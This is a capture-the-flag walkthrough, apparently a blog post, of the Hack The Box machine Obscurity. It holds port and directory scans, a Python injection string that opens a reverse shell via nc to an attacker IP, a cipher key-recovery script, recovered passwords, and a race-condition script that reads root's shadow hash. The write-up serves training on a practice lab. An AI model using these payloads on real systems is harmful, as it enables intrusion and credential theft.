This post documents the complete walkthrough of Obscurity, a retired vulnerable VM created by clubby789, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Obscurity is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun1 -p1-65535,U:1-65535 10.10.10.168 --rate=500

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-12-03 03:38:02 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on 10.10.10.168

Just one open port??!! Let’s do one better with nmap scanning the discovered port to establish the service.

# nmap -n -v -Pn -p8080 -A --reason -oN nmap.txt 10.10.10.168
...
PORT     STATE SERVICE    REASON         VERSION
8080/tcp open  http-proxy syn-ack ttl 63 BadHTTPServer
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Tue, 03 Dec 2019 03:50:25
|     Server: BadHTTPServer
|     Last-Modified: Tue, 03 Dec 2019 03:50:25
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!--
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|     <div class="sk-spinner sk-spinner-wordpress">
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Tue, 03 Dec 2019 03:50:26
|     Server: BadHTTPServer
|     Last-Modified: Tue, 03 Dec 2019 03:50:26
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!--
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: BadHTTPServer
|_http-title: 0bscura

Appears to be some kind of http service. Here’s how it looks like.

Hmm. Looks like the source code for the web server is available somewhere…

Directory/File Enumeration

Let’s fuzz the directory mentioned above with wfuzz.

# wfuzz -w common.txt -t 10 --hc 404 http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************

Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Total requests: 949

==================================================================
ID      Response   Lines      Word         Chars          Payload    
==================================================================

000259:  C=200    170 L      498 W         5892 Ch        "develop"
000342:  C=404      6 L       14 W          175 Ch        "filter"^C
Finishing pending requests...

There’s no point to show the entire source code. But I do want to draw your attention to the backdoor that’s included in the source code, in line 138 and 139.

info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?

exec() is a built-in function that supports the dynamic execution of Python code.

Low-Privilege Shell

Armed with this knowledge, we can execute remote Python code like so.

';import os;os.system("rm -rf /tmp/p; mknod /tmp/p p; bash </tmp/p | nc 10.10.15.60 1234 >/tmp/p");x='

Of course, I’m assuming that traditional nc exists and we need to urlencode the above string. Simply enter the encoded string into the address bar and we should have our shell.

Bingo.

Getting user.txt

There’s another user robert (uid=1000). I suppose the file user.txt is in his home directory.

In check.txt, we have our clue how to get robert’s password.

Encrypting this file with your key should result in out.txt, make sure your key is correct!

I suppose when we encrypt check.txt with a key (yet to be determined) using SuperSecureCrypt.py, we’ll get out.txt. Here are the relevant encrypt and decrypt functions SuperSecureCrypt.py.

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

It shouldn’t be too hard to write a Python script to recover the key based on the “secure” algorithm above. :wink:

recover.py
import sys

key = ''

chk = open(sys.argv[1], 'rb').read().decode('utf-8')
out = open(sys.argv[2], 'rb').read().decode('utf-8')

keylen = int(sys.argv[3])
if (keylen > len(chk) or keylen > len(out)):
    raise ValueError("Key is longer than plaintext or ciphertext")

for x in range(keylen):
    for c in range(256):
        if ((ord(chk[x]) + c) % 255 == ord(out[x])):
            key += chr(c)
            break

print "[*] Key is: %s" % key

Simply increase the key size until the key repeats itself.

The key is alexandrovichalexandrovich. :triumph:

Armed with the key, we can utilize SuperSecureCrypt.py to get robert’s password.

The password is SecThruObsFTW. Let’s log in to robert’s account and grab that user.txt!

Privilege Escalation

During enumeration of robert’s account, I notice that robert is able to sudo BetterSSH.py as root without password.

That must be the ticket to root! Again, I’m showing the pertinent part where the code is vulnerable.

It’s kinda like a race condition. As long as I’m able to display the contents of whatever that’s written to /tmp/SSH/<random eight chars>, I’ll be able to capture the encrypted password of root in /etc/shadow. Towards that end, I wrote a simple shell script to monitor for the creation of new file in /tmp/SSH and cat its content.

watch.sh
#!/bin/bash

if [ ! -d /tmp/SSH ]; then
  mkdir -p /tmp/SSH
fi

touch /tmp/SSH/ok

while :; do
  find /tmp/SSH -type f -cnewer /tmp/SSH/ok -exec cat {} \;
done

I have two terminal windows. On one hand, I had the script watching for new files in /tmp/SSH. On the other hand, I just need to sudo BetterSSH.py.

Woohoo!

Getting root.txt

Now, it’s a matter of firing up John the Ripper to crack the password.

Armed with root’s password, getting root.txt should be a breeze.

:dancer: